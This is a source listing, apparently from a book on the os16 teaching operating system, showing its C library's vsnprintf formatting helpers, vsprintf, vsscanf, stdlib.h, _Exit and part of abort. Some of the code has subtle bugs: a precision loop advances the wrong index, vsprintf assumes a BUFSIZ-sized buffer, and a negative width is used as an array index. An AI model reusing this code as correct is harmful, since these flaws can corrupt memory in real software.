2840110                    flag_minus = 1;
2840111                    f++;
2840112                    continue;
2840113                  }
2840114                else if (format[f] == ' ')
2840115                  {
2840116                    flag_space = 1;
2840117                    f++;
2840118                    continue;
2840119                  }
2840120                else if (format[f] == '#')
2840121                  {
2840122                    flag_alternate = 1;
2840123                    f++;
2840124                    continue;
2840125                  }
2840126                else if (format[f] == '0')
2840127                  {
2840128                    flag_zero = 1;
2840129                    f++;
2840130                    continue;
2840131                  }
2840132                else
2840133                  {
2840134                    specifier_flags = 0;
2840135                    specifier_width = 1;
2840136                  }
2840137              }
2840138            //
2840139            if (specifier && specifier_width)
2840140              {
2840141                //------------------- The context is inside specifier width.
2840142                for (w = 0; format[f] >= '0' && format[f] <= '9'
2840143                     && w < str_size; w++)
2840144                  {
2840145                    width_string[w] = format[f];
2840146                    f++;
2840147                  }
2840148                width_string[w] = '\0';
2840149
2840150                specifier_width = 0;
2840151
2840152                if (format[f] == '.')
2840153                  {
```

```
2840154                  specifier_precision = 1;
2840155                  f++;
2840156                }
2840157              else
2840158                {
2840159                  specifier_precision = 0;
2840160                  specifier_type      = 1;
2840161                }
2840162            }
2840163          //
2840164          if (specifier && specifier_precision)
2840165            {
2840166              //--------------- The context is inside specifier precision.
2840167              for (p = 0; format[f] >= '0' && format[f] <= '9'
2840168                   && p < str_size; p++)
2840169                {
2840170                  precision_string[p] = format[f];
2840171                  p++;
2840172                }
2840173              precision_string[p] = '\0';
2840174
2840175              specifier_precision = 0;
2840176              specifier_type      = 1;
2840177            }
2840178          //
2840179          if (specifier && specifier_type)
2840180            {
2840181              //-------------------- The context is inside specifier type.
2840182              width     = atoi (width_string);
2840183              precision = atoi (precision_string);
2840184                              filler = ' ';
2840185              if (flag_zero)  filler = '0';
2840186              if (flag_space) filler = ' ';
2840187                              alignment = width;
2840188              if (flag_minus)
2840189                {
2840190                  alignment = -alignment;
2840191                  filler = ' ';   // The filler character cannot
2840192                                  // be zero, so it is black.
2840193                }
2840194              //
2840195              if (format[f] == 'h' && format[f+1] == 'h')
2840196                {
2840197                  if (format[f+2] == 'd' || format[f+2] == 'i')
2840198                    {
2840199                      //---------------------------- signed char, base 10.
2840200                      value_i = va_arg (ap, int);
2840201                      if (flag_plus)
2840202                        {
2840203                          s += simaxtoa_fill (value_i, &string[s], 10, 0,
2840204                                              alignment, filler, remain);
2840205                        }
```

```
2840206                     else
2840207                       {
2840208                         s += imaxtoa_fill (value_i, &string[s], 10, 0,
2840209                                            alignment, filler, remain);
2840210                       }
2840211                     f += 3;
2840212                   }
2840213                 else if (format[f+2] == 'u')
2840214                   {
2840215                     //------------------------- unsigned char, base 10.
2840216                     value_ui = va_arg (ap, unsigned int);
2840217                     s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
2840218                                         alignment, filler, remain);
2840219                     f += 3;
2840220                   }
2840221                 else if (format[f+2] == 'o')
2840222                   {
2840223                     //-------------------------- unsigned char, base 8.
2840224                     value_ui = va_arg (ap, unsigned int);
2840225                     s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
2840226                                         alignment, filler, remain);
2840227                     f += 3;
2840228                   }
2840229                 else if (format[f+2] == 'x')
2840230                   {
2840231                     //------------------------- unsigned char, base 16.
2840232                     value_ui = va_arg (ap, unsigned int);
2840233                     s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
2840234                                         alignment, filler, remain);
2840235                     f += 3;
2840236                   }
2840237                 else if (format[f+2] == 'X')
2840238                   {
2840239                     //------------------------- unsigned char, base 16.
2840240                     value_ui = va_arg (ap, unsigned int);
2840241                     s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
2840242                                         alignment, filler, remain);
2840243                     f += 3;
2840244                   }
2840245                 else
2840246                   {
2840247                     //---------------- unsupported or unknown specifier.
2840248                     f += 2;
2840249                   }
2840250               }
2840251             else if (format[f] == 'h')
2840252               {
2840253                 if (format[f+1] == 'd' || format[f+1] == 'i')
2840254                   {
2840255                     //---------------------------- short int, base 10.
2840256                     value_i = va_arg (ap, int);
2840257                     if (flag_plus)
```

```
2840258                        {
2840259                          s += simaxtoa_fill (value_i, &string[s], 10, 0,
2840260                                              alignment, filler, remain);
2840261                        }
2840262                      else
2840263                        {
2840264                          s += imaxtoa_fill (value_i, &string[s], 10, 0,
2840265                                             alignment, filler, remain);
2840266                        }
2840267                      f += 2;
2840268                    }
2840269                  else if (format[f+1] == 'u')
2840270                    {
2840271                      //--------------------- unsigned short int, base 10.
2840272                      value_ui = va_arg (ap, unsigned int);
2840273                      s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
2840274                                          alignment, filler, remain);
2840275                      f += 2;
2840276                    }
2840277                  else if (format[f+1] == 'o')
2840278                    {
2840279                      //---------------------- unsigned short int, base 8.
2840280                      value_ui = va_arg (ap, unsigned int);
2840281                      s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
2840282                                          alignment, filler, remain);
2840283                      f += 2;
2840284                    }
2840285                  else if (format[f+1] == 'x')
2840286                    {
2840287                      //--------------------- unsigned short int, base 16.
2840288                      value_ui = va_arg (ap, unsigned int);
2840289                      s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
2840290                                          alignment, filler, remain);
2840291                      f += 2;
2840292                    }
2840293                  else if (format[f+1] == 'X')
2840294                    {
2840295                      //--------------------- unsigned short int, base 16.
2840296                      value_ui = va_arg (ap, unsigned int);
2840297                      s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
2840298                                          alignment, filler, remain);
2840299                      f += 2;
2840300                    }
2840301                  else
2840302                    {
2840303                      //---------------- unsupported or unknown specifier.
2840304                      f += 1;
2840305                    }
2840306                }
2840307
2840308                  //--------------------------------------------------------
2840309                  // There is no `long long int'.
```

```
2840310                 //-------------------------------------------------------
2840311 
2840312             else if (format[f] == 'l')
2840313               {
2840314                 if (format[f+1] == 'd' || format[f+1] == 'i')
2840315                   {
2840316                     //-------------------------------- long int base 10.
2840317                     value_i = va_arg (ap, long int);
2840318                     if (flag_plus)
2840319                       {
2840320                         s += simaxtoa_fill (value_i, &string[s], 10, 0,
2840321                                             alignment, filler, remain);
2840322                       }
2840323                     else
2840324                       {
2840325                         s += imaxtoa_fill (value_i, &string[s], 10, 0,
2840326                                            alignment, filler, remain);
2840327                       }
2840328                     f += 2;
2840329                   }
2840330                 else if (format[f+1] == 'u')
2840331                   {
2840332                     //----------------------- Unsigned long int base 10.
2840333                     value_ui = va_arg (ap, unsigned long int);
2840334                     s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
2840335                                         alignment, filler, remain);
2840336                     f += 2;
2840337                   }
2840338                 else if (format[f+1] == 'o')
2840339                   {
2840340                     //------------------------ Unsigned long int base 8.
2840341                     value_ui = va_arg (ap, unsigned long int);
2840342                     s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
2840343                                         alignment, filler, remain);
2840344                     f += 2;
2840345                   }
2840346                 else if (format[f+1] == 'x')
2840347                   {
2840348                     //----------------------- Unsigned long int base 16.
2840349                     value_ui = va_arg (ap, unsigned long int);
2840350                     s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
2840351                                         alignment, filler, remain);
2840352                     f += 2;
2840353                   }
2840354                 else if (format[f+1] == 'X')
2840355                   {
2840356                     //----------------------- Unsigned long int base 16.
2840357                     value_ui = va_arg (ap, unsigned long int);
2840358                     s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
2840359                                         alignment, filler, remain);
2840360                     f += 2;
2840361                   }
```

```
2840362                     else
2840363                       {
2840364                         //---------------- unsupported or unknown specifier.
2840365                         f += 1;
2840366                       }
2840367                   }
2840368                 else if (format[f] == 'j')
2840369                   {
2840370                     if (format[f+1] == 'd' || format[f+1] == 'i')
2840371                       {
2840372                         //-------------------------------- intmax_t base 10.
2840373                         value_i = va_arg (ap, intmax_t);
2840374                         if (flag_plus)
2840375                           {
2840376                             s += simaxtoa_fill (value_i, &string[s], 10, 0,
2840377                                                 alignment, filler, remain);
2840378                           }
2840379                         else
2840380                           {
2840381                             s += imaxtoa_fill (value_i, &string[s], 10, 0,
2840382                                                alignment, filler, remain);
2840383                           }
2840384                         f += 2;
2840385                       }
2840386                     else if (format[f+1] == 'u')
2840387                       {
2840388                         //------------------------------- uintmax_t base 10.
2840389                         value_ui = va_arg (ap, uintmax_t);
2840390                         s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
2840391                                             alignment, filler, remain);
2840392                         f += 2;
2840393                       }
2840394                     else if (format[f+1] == 'o')
2840395                       {
2840396                         //-------------------------------- uintmax_t base 8.
2840397                         value_ui = va_arg (ap, uintmax_t);
2840398                         s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
2840399                                             alignment, filler, remain);
2840400                         f += 2;
2840401                       }
2840402                     else if (format[f+1] == 'x')
2840403                       {
2840404                         //------------------------------- uintmax_t base 16.
2840405                         value_ui = va_arg (ap, uintmax_t);
2840406                         s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
2840407                                             alignment, filler, remain);
2840408                         f += 2;
2840409                       }
2840410                     else if (format[f+1] == 'X')
2840411                       {
2840412                         //------------------------------- uintmax_t base 16.
2840413                         value_ui = va_arg (ap, uintmax_t);
```

```
2840414                 s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
2840415                                     alignment, filler, remain);
2840416                 f += 2;
2840417               }
2840418             else
2840419               {
2840420                 //---------------- unsupported or unknown specifier.
2840421                 f += 1;
2840422               }
2840423           }
2840424         else if (format[f] == 'z')
2840425           {
2840426             if (format[f+1] == 'd'
2840427                 || format[f+1] == 'i'
2840428                 || format[f+1] == 'i')
2840429               {
2840430                 //---------------------------------- size_t base 10.
2840431                 value_ui = va_arg (ap, unsigned long int);
2840432                 s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
2840433                                     alignment, filler, remain);
2840434                 f += 2;
2840435               }
2840436             else if (format[f+1] == 'o')
2840437               {
2840438                 //----------------------------------- size_t base 8.
2840439                 value_ui = va_arg (ap, unsigned long int);
2840440                 s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
2840441                                     alignment, filler, remain);
2840442                 f += 2;
2840443               }
2840444             else if (format[f+1] == 'x')
2840445               {
2840446                 //---------------------------------- size_t base 16.
2840447                 value_ui = va_arg (ap, unsigned long int);
2840448                 s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
2840449                                     alignment, filler, remain);
2840450                 f += 2;
2840451               }
2840452             else if (format[f+1] == 'X')
2840453               {
2840454                 //---------------------------------- size_t base 16.
2840455                 value_ui = va_arg (ap, unsigned long int);
2840456                 s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
2840457                                     alignment, filler, remain);
2840458                 f += 2;
2840459               }
2840460             else
2840461               {
2840462                 //---------------- unsupported or unknown specifier.
2840463                 f += 1;
2840464               }
2840465           }
```

```
2840466                 else if (format[f] == 't')
2840467                   {
2840468                     if (format[f+1] == 'd' || format[f+1] == 'i')
2840469                       {
2840470                         //------------------------------ ptrdiff_t base 10.
2840471                         value_i = va_arg (ap, long int);
2840472                         if (flag_plus)
2840473                           {
2840474                             s += simaxtoa_fill (value_i, &string[s], 10, 0,
2840475                                                 alignment, filler, remain);
2840476                           }
2840477                         else
2840478                           {
2840479                             s += imaxtoa_fill (value_i, &string[s], 10, 0,
2840480                                                alignment, filler, remain);
2840481                           }
2840482                         f += 2;
2840483                       }
2840484                     else if (format[f+1] == 'u')
2840485                       {
2840486                         //----------------- ptrdiff_t base 10, without sign.
2840487                         value_ui = va_arg (ap, unsigned long int);
2840488                         s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
2840489                                             alignment, filler, remain);
2840490                         f += 2;
2840491                       }
2840492                     else if (format[f+1] == 'o')
2840493                       {
2840494                         //------------------ ptrdiff_t base 8, without sign.
2840495                         value_ui = va_arg (ap, unsigned long int);
2840496                         s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
2840497                                             alignment, filler, remain);
2840498                         f += 2;
2840499                       }
2840500                     else if (format[f+1] == 'x')
2840501                       {
2840502                         //----------------- ptrdiff_t base 16, without sign.
2840503                         value_ui = va_arg (ap, unsigned long int);
2840504                         s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
2840505                                             alignment, filler, remain);
2840506                         f += 2;
2840507                       }
2840508                     else if (format[f+1] == 'X')
2840509                       {
2840510                         //----------------- ptrdiff_t base 16, without sign.
2840511                         value_ui = va_arg (ap, unsigned long int);
2840512                         s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
2840513                                             alignment, filler, remain);
2840514                         f += 2;
2840515                       }
2840516                     else
2840517                       {
```

```
2840518                     //---------------- unsupported or unknown specifier.
2840519                     f += 1;
2840520                   }
2840521               }
2840522             if (format[f] == 'd' || format[f] == 'i')
2840523               {
2840524                 //---------------------------------------- int base 10.
2840525                 value_i = va_arg (ap, int);
2840526                 if (flag_plus)
2840527                   {
2840528                     s += simaxtoa_fill (value_i, &string[s], 10, 0,
2840529                                         alignment, filler, remain);
2840530                   }
2840531                 else
2840532                   {
2840533                     s += imaxtoa_fill (value_i, &string[s], 10, 0,
2840534                                        alignment, filler, remain);
2840535                   }
2840536                 f += 1;
2840537               }
2840538             else if (format[f] == 'u')
2840539               {
2840540                 //------------------------------- unsigned int base 10.
2840541                 value_ui = va_arg (ap, unsigned int);
2840542                 s += uimaxtoa_fill (value_ui, &string[s], 10, 0,
2840543                                     alignment, filler, remain);
2840544                 f += 1;
2840545               }
2840546             else if (format[f] == 'o')
2840547               {
2840548                 //-------------------------------- unsigned int base 8.
2840549                 value_ui = va_arg (ap, unsigned int);
2840550                 s += uimaxtoa_fill (value_ui, &string[s], 8, 0,
2840551                                     alignment, filler, remain);
2840552                 f += 1;
2840553               }
2840554             else if (format[f] == 'x')
2840555               {
2840556                 //------------------------------- unsigned int base 16.
2840557                 value_ui = va_arg (ap, unsigned int);
2840558                 s += uimaxtoa_fill (value_ui, &string[s], 16, 0,
2840559                                     alignment, filler, remain);
2840560                 f += 1;
2840561               }
2840562             else if (format[f] == 'X')
2840563               {
2840564                 //------------------------------- unsigned int base 16.
2840565                 value_ui = va_arg (ap, unsigned int);
2840566                 s += uimaxtoa_fill (value_ui, &string[s], 16, 1,
2840567                                     alignment, filler, remain);
2840568                 f += 1;
2840569               }
```

```
2840570                else if (format[f] == 'c')
2840571                  {
2840572                    //------------------------------------- unsigned char.
2840573                    value_ui = va_arg (ap, unsigned int);
2840574                    string[s] = (char) value_ui;
2840575                    s += 1;
2840576                    f += 1;
2840577                  }
2840578                else if (format[f] == 's')
2840579                  {
2840580                    //-------------------------------------------- string.
2840581                    value_cp = va_arg (ap, char *);
2840582                    filler = ' ';
2840583
2840584                    s += strtostr_fill (value_cp, &string[s], alignment,
2840585                                        filler, remain);
2840586                    f += 1;
2840587                  }
2840588                else
2840589                  {
2840590                    //-------------------- unsupported or unknown specifier.
2840591                    ;
2840592                  }
2840593                //------------------------------------------------------------
2840594                // End of specifier.
2840595                //------------------------------------------------------------
2840596                width_string[0]     = '\0';
2840597                precision_string[0] = '\0';
2840598
2840599                specifier           = 0;
2840600                specifier_flags     = 0;
2840601                specifier_width     = 0;
2840602                specifier_precision = 0;
2840603                specifier_type      = 0;
2840604
2840605                flag_plus           = 0;
2840606                flag_minus          = 0;
2840607                flag_space          = 0;
2840608                flag_alternate      = 0;
2840609                flag_zero           = 0;
2840610              }
2840611          }
2840612        string[s] = '\0';
2840613        return s;
2840614  }
2840615  //----------------------------------------------------------------------
2840616  // Static functions.
2840617  //----------------------------------------------------------------------
2840618  static size_t
2840619  uimaxtoa (uintmax_t integer, char *buffer, int base, int uppercase,
2840620            size_t size)
2840621  {
```

```
2840622     //----------------------------------------------------------------------
2840623     // Convert a maximum rank integer into a string.
2840624     //----------------------------------------------------------------------
2840625 
2840626         uintmax_t  integer_copy = integer;
2840627            size_t  digits;
2840628               int  b;
2840629     unsigned char  remainder;
2840630 
2840631     for (digits = 0; integer_copy > 0; digits++)
2840632       {
2840633         integer_copy = integer_copy / base;
2840634       }
2840635 
2840636     if (buffer == NULL && integer == 0) return 1;
2840637     if (buffer == NULL && integer > 0)  return digits;
2840638 
2840639     if (integer == 0)
2840640       {
2840641         buffer[0] = '0';
2840642         buffer[1] = '\0';
2840643         return 1;
2840644       }
2840645     //
2840646     // Fix the maximum number of digits.
2840647     //
2840648     if (size > 0 && digits > size) digits = size;
2840649     //
2840650     *(buffer + digits) = '\0';            // End of string.
2840651 
2840652     for (b = digits - 1; integer != 0 && b >= 0; b--)
2840653       {
2840654         remainder = integer % base;
2840655         integer   = integer / base;
2840656 
2840657         if (remainder <= 9)
2840658           {
2840659             *(buffer + b) = remainder + '0';
2840660           }
2840661         else
2840662           {
2840663             if (uppercase)
2840664               {
2840665                 *(buffer + b) = remainder - 10 + 'A';
2840666               }
2840667             else
2840668               {
2840669                 *(buffer + b) = remainder - 10 + 'a';
2840670               }
2840671           }
2840672       }
2840673     return digits;
```

```
2840674 }
2840675 //----------------------------------------------------------------------
2840676 static size_t
2840677 imaxtoa (intmax_t integer, char *buffer, int base, int uppercase,
2840678          size_t size)
2840679 {
2840680     //------------------------------------------------------------------
2840681     // Convert a maximum rank integer with sign into a string.
2840682     //------------------------------------------------------------------
2840683 
2840684     if (integer >= 0)
2840685       {
2840686         return uimaxtoa (integer, buffer, base, uppercase, size);
2840687       }
2840688     //
2840689     // At this point, there is a negative number, less than zero.
2840690     //
2840691     if (buffer == NULL)
2840692       {
2840693         return uimaxtoa (-integer, NULL, base, uppercase, size) + 1;
2840694       }
2840695 
2840696     *buffer = '-';        // The minus sign is needed at the beginning.
2840697     if (size == 1)
2840698       {
2840699         *(buffer + 1) = '\0';
2840700         return 1;
2840701       }
2840702     else
2840703       {
2840704         return uimaxtoa (-integer, buffer+1, base, uppercase, size-1)
2840705                + 1;
2840706       }
2840707 }
2840708 //----------------------------------------------------------------------
2840709 static size_t
2840710 simaxtoa (intmax_t integer, char *buffer, int base, int uppercase,
2840711           size_t size)
2840712 {
2840713     //------------------------------------------------------------------
2840714     // Convert a maximum rank integer with sign into a string, placing
2840715     // the sign also if it is positive.
2840716     //------------------------------------------------------------------
2840717 
2840718     if (buffer == NULL && integer >= 0)
2840719       {
2840720         return uimaxtoa (integer, NULL, base, uppercase, size) + 1;
2840721       }
2840722 
2840723     if (buffer == NULL && integer < 0)
2840724       {
2840725         return uimaxtoa (-integer, NULL, base, uppercase, size) + 1;
```

```
2840726         }
2840727       //
2840728       // At this point, 'buffer' is different from NULL.
2840729       //
2840730       if (integer >= 0)
2840731         {
2840732           *buffer = '+';
2840733         }
2840734       else
2840735         {
2840736           *buffer = '-';
2840737         }
2840738
2840739       if (size == 1)
2840740         {
2840741           *(buffer + 1) = '\0';
2840742           return 1;
2840743         }
2840744
2840745       if (integer >= 0)
2840746         {
2840747           return uimaxtoa (integer, buffer+1, base, uppercase, size-1)
2840748                  + 1;
2840749         }
2840750       else
2840751         {
2840752           return uimaxtoa (-integer, buffer+1, base, uppercase, size-1)
2840753                  + 1;
2840754         }
2840755   }
2840756   //----------------------------------------------------------------------
2840757   static size_t
2840758   uimaxtoa_fill (uintmax_t integer, char *buffer, int base,
2840759                  int uppercase, int width, int filler, int max)
2840760   {
2840761       //------------------------------------------------------------------
2840762       // Convert a maximum rank integer without sign into a string,
2840763       // takeing care of the alignment.
2840764       //------------------------------------------------------------------
2840765
2840766       size_t size_i;
2840767       size_t size_f;
2840768
2840769       if (max < 0) return 0; // «max» deve essere un valore positivo.
2840770
2840771       size_i = uimaxtoa (integer, NULL, base, uppercase, 0);
2840772
2840773       if (width > 0 &&  max > 0 && width >  max) width =  max;
2840774       if (width < 0 && -max < 0 && width < -max) width = -max;
2840775
2840776       if (size_i > abs (width))
2840777         {
```

```
2840778            return uimaxtoa (integer, buffer, base, uppercase, abs (width));
2840779          }
2840780
2840781        if (width == 0 && max > 0)
2840782          {
2840783            return uimaxtoa (integer, buffer, base, uppercase, max);
2840784          }
2840785
2840786        if (width == 0)
2840787          {
2840788            return uimaxtoa (integer, buffer, base, uppercase, abs (width));
2840789          }
2840790        //
2840791        // size_i <= abs (width).
2840792        //
2840793        size_f = abs (width) - size_i;
2840794
2840795        if (width < 0)
2840796          {
2840797            // Left alignment.
2840798            uimaxtoa (integer, buffer, base, uppercase, 0);
2840799            memset (buffer + size_i, filler, size_f);
2840800          }
2840801        else
2840802          {
2840803            // Right alignment.
2840804            memset (buffer, filler, size_f);
2840805            uimaxtoa (integer, buffer + size_f, base, uppercase, 0);
2840806          }
2840807        *(buffer + abs (width)) = '\0';
2840808
2840809        return abs (width);
2840810    }
2840811    //------------------------------------------------------------------
2840812    static size_t
2840813    imaxtoa_fill (intmax_t integer, char *buffer, int base,
2840814                  int uppercase, int width, int filler, int max)
2840815    {
2840816        //--------------------------------------------------------------
2840817        // Convert a maximum rank integer with sign into a string,
2840818        // takeing care of the alignment.
2840819        //--------------------------------------------------------------
2840820
2840821        size_t size_i;
2840822        size_t size_f;
2840823
2840824        if (max < 0) return 0; // 'max' must be a positive value.
2840825
2840826        size_i = imaxtoa (integer, NULL, base, uppercase, 0);
2840827
2840828        if (width > 0 &&  max > 0 && width >  max) width =  max;
2840829        if (width < 0 && -max < 0 && width < -max) width = -max;
```

```
2840830
2840831      if (size_i > abs (width))
2840832        {
2840833          return imaxtoa (integer, buffer, base, uppercase, abs (width));
2840834        }
2840835
2840836      if (width == 0 && max > 0)
2840837        {
2840838          return imaxtoa (integer, buffer, base, uppercase, max);
2840839        }
2840840
2840841      if (width == 0)
2840842        {
2840843          return imaxtoa (integer, buffer, base, uppercase, abs (width));
2840844        }
2840845
2840846      // size_i <= abs (width).
2840847
2840848      size_f = abs (width) - size_i;
2840849
2840850      if (width < 0)
2840851        {
2840852          // Left alignment.
2840853          imaxtoa (integer, buffer, base, uppercase, 0);
2840854          memset (buffer + size_i, filler, size_f);
2840855        }
2840856      else
2840857        {
2840858          // Right alignment.
2840859          memset (buffer, filler, size_f);
2840860          imaxtoa (integer, buffer + size_f, base, uppercase, 0);
2840861        }
2840862      *(buffer + abs (width)) = '\0';
2840863
2840864      return abs (width);
2840865  }
2840866  //----------------------------------------------------------------------
2840867  static size_t
2840868  simaxtoa_fill (intmax_t integer, char *buffer, int base,
2840869                 int uppercase, int width, int filler, int max)
2840870  {
2840871      //------------------------------------------------------------------
2840872      // Convert a maximum rank integer with sign into a string,
2840873      // placing the sign also if it is positive and takeing care of the
2840874      // alignment.
2840875      //------------------------------------------------------------------
2840876
2840877      size_t size_i;
2840878      size_t size_f;
2840879
2840880      if (max < 0) return 0; // 'max' must be a positive value.
2840881
```

```
2840882     size_i = simaxtoa (integer, NULL, base, uppercase, 0);
2840883
2840884     if (width > 0 &&  max > 0 && width >  max) width =  max;
2840885     if (width < 0 && -max < 0 && width < -max) width = -max;
2840886
2840887     if (size_i > abs (width))
2840888       {
2840889         return simaxtoa (integer, buffer, base, uppercase, abs (width));
2840890       }
2840891
2840892     if (width == 0 && max > 0)
2840893       {
2840894         return simaxtoa (integer, buffer, base, uppercase, max);
2840895       }
2840896
2840897     if (width == 0)
2840898       {
2840899         return simaxtoa (integer, buffer, base, uppercase, abs (width));
2840900       }
2840901     //
2840902     // size_i <= abs (width).
2840903     //
2840904     size_f = abs (width) - size_i;
2840905
2840906     if (width < 0)
2840907       {
2840908         // Left alignment.
2840909         simaxtoa (integer, buffer, base, uppercase, 0);
2840910         memset (buffer + size_i, filler, size_f);
2840911       }
2840912     else
2840913       {
2840914         // Right alignment.
2840915         memset (buffer, filler, size_f);
2840916         simaxtoa (integer, buffer + size_f, base, uppercase, 0);
2840917       }
2840918     *(buffer + abs (width)) = '\0';
2840919
2840920     return abs (width);
2840921 }
2840922 //------------------------------------------------------------------------
2840923 static size_t
2840924 strtostr_fill (char *string, char *buffer, int width, int filler,
2840925                int max)
2840926 {
2840927     //--------------------------------------------------------------------
2840928     // Transfer a string with care for the alignment.
2840929     //--------------------------------------------------------------------
2840930
2840931     size_t size_s;
2840932     size_t size_f;
2840933
```

```
2840934     if (max < 0) return 0; // ‘max’ must be a positive value.
2840935
2840936     size_s = strlen (string);
2840937
2840938     if (width > 0 &&  max > 0 && width >  max) width =  max;
2840939     if (width < 0 && -max < 0 && width < -max) width = -max;
2840940
2840941     if (width != 0 && size_s > abs (width))
2840942       {
2840943         memcpy (buffer, string, abs (width));
2840944         buffer[width] = '\0';
2840945         return width;
2840946       }
2840947
2840948     if (width == 0 && max > 0 && size_s > max)
2840949       {
2840950         memcpy (buffer, string, max);
2840951         buffer[max] = '\0';
2840952         return max;
2840953       }
2840954
2840955     if (width == 0 && max > 0 && size_s < max)
2840956       {
2840957         memcpy (buffer, string, size_s);
2840958         buffer[size_s] = '\0';
2840959         return size_s;
2840960       }
2840961     //
2840962     // width =! 0
2840963     // size_s <= abs (width)
2840964     //
2840965     size_f = abs (width) - size_s;
2840966
2840967     if (width < 0)
2840968       {
2840969         // Right alignment.
2840970         memset (buffer, filler, size_f);
2840971         strncpy (buffer+size_f, string, size_s);
2840972       }
2840973     else
2840974       {
2840975         // Left alignment.
2840976         strncpy (buffer, string, size_s);
2840977         memset (buffer+size_s, filler, size_f);
2840978       }
2840979     *(buffer + abs (width)) = '\0';
2840980
2840981     return abs (width);
2840982 }
2840983
2840984
```

106.9.42 lib/stdio/vsprintf.c

«

Si veda la sezione 99.128.

```
2850001 #include <stdio.h>
2850002 #include <sys/os16.h>
2850003 //----------------------------------------------------------------------
2850004 int
2850005 vsprintf (char *string, char *restrict format, va_list arg)
2850006 {
2850007     return (vsnprintf (string, BUFSIZ, format, arg));
2850008 }
```

106.9.43 lib/stdio/vsscanf.c

«

Si veda la sezione 99.129.

```
2860001 #include <stdio.h>
2860002 
2860003 //----------------------------------------------------------------------
2860004 int vfsscanf (FILE *restrict fp, const char *string,
2860005               const char *restrict format, va_list ap);
2860006 //----------------------------------------------------------------------
2860007 int
2860008 vsscanf (const char *string, const char *restrict format, va_list ap)
2860009 {
2860010     return (vfsscanf (NULL, string, format, ap));
2860011 }
2860012 //----------------------------------------------------------------------
```

106.10 os16: «lib/stdlib.h»

«

Si veda la sezione 102.2.

```
2870001 #ifndef _STDLIB_H
2870002 #define _STDLIB_H       1
2870003 //----------------------------------------------------------------------
2870004 
2870005 #include <size_t.h>
2870006 #include <wchar_t.h>
2870007 #include <NULL.h>
2870008 #include <limits.h>
2870009 #include <const.h>
2870010 #include <restrict.h>
2870011 //----------------------------------------------------------------------
2870012 typedef struct {
2870013     int      quot;
2870014     int      rem;
2870015 } div_t;
2870016 //----------------------------------------------------------------------
```

```
2870017 typedef struct {
2870018     long int quot;
2870019     long int rem;
2870020 } ldiv_t;
2870021 //----------------------------------------------------------------------
2870022 typedef void (*atexit_t) (void);        // Non standard. [1]
2870023 //
2870024 // [1] The type 'atexit_t' is a pointer to a function for the "at exit"
2870025 //     procedure, with no parameters and returning void. With the
2870026 //     declaration of type 'atexit_t', the function prototype of
2870027 //     'atexit()' is easier to declare and to understand. Original
2870028 //     declaration is:
2870029 //
2870030 //              int atexit (void (*function) (void));
2870031 //
2870032 //----------------------------------------------------------------------
2870033 #define EXIT_FAILURE    1
2870034 #define EXIT_SUCCESS    0
2870035 #define RAND_MAX        INT_MAX
2870036 #define MB_CUR_MAX      ((size_t) MB_LEN_MAX)
2870037 //----------------------------------------------------------------------
2870038 void              _Exit    (int status);
2870039 void              abort    (void);
2870040 int               abs      (int j);
2870041 int               atexit   (atexit_t function);
2870042 int               atoi     (const char *string);
2870043 long int          atol     (const char *string);
2870044 //void           *bsearch  (const void *key, const void *base,
2870045 //                          size_t nmemb, size_t size,
2870046 //                          int (*compar) (const void *, const void *));
2870047 #define           calloc(b, s) (malloc ((b) * (s)))
2870048 div_t             div      (int numer, int denom);
2870049 void              exit     (int status);
2870050 void              free     (void *ptr);
2870051 char             *getenv   (const char *name);
2870052 long int          labs     (long int j);
2870053 ldiv_t            ldiv     (long int numer, long int denom);
2870054 void             *malloc   (size_t size);
2870055 int               putenv   (const char *string);
2870056 void              qsort    (void *base, size_t nmemb, size_t size,
2870057                             int (*compare) (const void *,
2870058                                             const void *));
2870059 int               rand     (void);
2870060 void             *realloc  (void *ptr, size_t size);
2870061 int               setenv   (const char *name, const char *value,
2870062                             int overwrite);
2870063 void              srand    (unsigned int seed);
2870064 long int          strtol   (const char *restrict string,
2870065                             char **restrict endptr, int base);
2870066 unsigned long int strtoul  (const char * restrict string,
2870067                             char ** restrict endptr, int base);
2870068 //int             system   (const char *string);
```

```
2870069 int                  unsetenv (const char *name);
2870070
2870071 #endif
```

106.10.1 lib/stdlib/_Exit.c

Si veda la sezione 98.2.

```
2880001 #include <stdlib.h>
2880002 #include <sys/os16.h>
2880003 //----------------------------------------------------------------------
2880004 void
2880005 _Exit (int status)
2880006 {
2880007     sysmsg_exit_t msg;
2880008     //
2880009     // Only the low eight bit are returned.
2880010     //
2880011     msg.status = (status & 0xFF);
2880012     //
2880013     //
2880014     //
2880015     sys (SYS_EXIT, &msg, (sizeof msg));
2880016     //
2880017     // Should not return from system call, but if it does, loop
2880018     // forever:
2880019     //
2880020     while (1);
2880021 }
```

106.10.2 lib/stdlib/abort.c

Si veda la sezione 99.2.

```
2890001 #include <stdlib.h>
2890002 #include <sys/types.h>
2890003 #include <signal.h>
2890004 #include <unistd.h>
2890005 //----------------------------------------------------------------------
2890006 void
2890007 abort (void)
2890008 {
2890009     pid_t        pid;
2890010     sighandler_t sig_previous;
2890011     //
2890012     // Set 'SIGABRT' to a default action.
2890013     //
2890014     sig_previous = signal (SIGABRT, SIG_DFL);
2890015     //
```

```
2890016     // If the previous action was something different than symbolic
2890017     // ones, configure again the previous action.
2890018     //
2890019     if (sig_previous != SIG_DFL &&
2890020         sig_previous != SIG_IGN &&
